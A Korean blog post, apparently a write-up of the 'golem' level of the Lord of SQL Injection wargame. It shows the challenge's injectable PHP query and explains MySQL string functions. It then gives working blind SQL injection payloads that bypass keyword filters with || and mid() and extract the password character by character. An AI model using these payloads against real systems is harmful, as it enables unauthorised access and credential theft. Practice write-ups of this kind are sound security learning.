728x90
반응형

query : select id from prob_golem where id='guest' and pw=''

 

<?php 

  include "./config.php"

  login_chk(); 

  $db dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

  $query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"

  echo "<hr>query : <strong>{$query}</strong><hr><br>"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"

   

  $_GET[pw] = addslashes($_GET[pw]); 

  $query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"

  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

  highlight_file(__FILE__); 

?>

 

 

PHP 문법

addslashes()

  • DB는 구분 기호인 "  '  \ 등을 사용
  • 하나의 ' (싱글 쿼테이션)나 " (더블 쿼테이션) 같은 구분자가 들어가면 예상치 않은 오류 발생
    ( 'It's an apple' 이렇게  쿼리를 전송하면 It뒤에 ' (싱글 쿼테이션)로 인해 오류 )
  • 'It\'s an apple' 으로 addslashes() 가 \(백슬래시)를 붙여 바꿔 작업 수행

stripslashes ()

  • addslashes함수 반대 기능으로 입력될 때 DB에서 추가되었던 \ (백슬래시)를 제거해주는 함수

 

Mysql 문법

 

MySQL에서 문자열에 일부분을 가져오는 함수는 대표적으로 3가지가 존재합니다.

  • LEFT : 문자에 왼쪽을 기준으로 개수만큼 문자를 가져옴
  • MID : 문자에 지정한 시작 위치를 기준으로 개수만큼 문자를 가져옴
  • RIGHT : 문자에 오른쪽을 기준으로 개수만큼 문자를 가져옴

MID 함수는  SUBSTR()함수와 동일

 

LEFT

LEFT(문자, 문자 개수);

 

쿼리

SELECT LEFT('ABCDEF', 3);

결과

ABC

 

 

MID

MID(문자, 시작 위치, 문자 개수);

  •  SUBSTR(문자, 시작 위치, 문자 개수);

 

쿼리

SELECT MID('ABCDEFG', 2, 4);

SELECT SUBSTR('ABCDEFG', 2, 4);

 

결과

BCDE

 

 

RIGHT

RIGHT(문자, 문자 개수);

 

쿼리

SELECTRIGHT('ABCDEFG', 3);

결과

EFG

 

 

코드 분석

  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 

  • prob  _ .  () 필터링 수행

  if(preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 

  • or  and  substr(   =  필터링 수행

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 

  • pw 입력된 pw 같으면 문제 해결

 

 

 

 

문제 해결

  • Password 길이 확인
  • ascii 코드를 통해 범위를 줄여가며 Blind Injection 수행
  • substr() 함수 필터링으로 mid() 함수로 대체

 

Password 길이 확인

  • Hello admin 출력으로 /거짓 확인
  • pw  8자리

  • 9자리 미만 : True
    (?pw=' || length(pw)<9%23)

  • 8자리 미만 : False
    (?pw=' || length(pw)<8%23)

 

 

substr() 함수 필터링으로 mid() 함수로 대체

 

Blind Injection 활용 (ascii code)

  • 기존 Blind injection substr() 함수를 이용하지만 현재는 필터링 상태
  • Mysql에서 mid()함수 substr()함수는 동일한 기능

 

  • ascii 코드 번호 56 미만 : True
    (
    ?pw= '|| ascii(mid(pw,1,1))<56%23)
  • ascii 코드 번호 55 미만 : False
    (
    ?pw= '|| ascii(mid(pw,1,1))<55%23)
  • pw 첫번째 글자 ascii code 55 ("7")

 

  • ascii 코드 번호 56 미만 : True
    (
    ?pw= '|| ascii(mid(pw,2,1))<56%23)
  • ascii 코드 번호 55 미만 : False
    (
    ?pw= '|| ascii(mid(pw,2,1))<55%23)
  • pw 번째 글자 ascii code 55 ("7")

 

ASCII Code Table

 

Python 활용

GET 방식으로 URL에 pw 대입 ( ?pw=77d6290b )

  • query : select id from prob_golem where id='guest' and pw='77d6290b'
728x90

'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글

[ LS - 10 ] skeleton  (0) 2021.12.20
[ LS - 09 ] vampire  (0) 2021.12.18
[ LS - 08 ] troll  (0) 2021.12.18
[ LS - 07 ] orge  (0) 2021.12.18
[ LS - 06 ] darklef  (0) 2021.12.18

+ Recent posts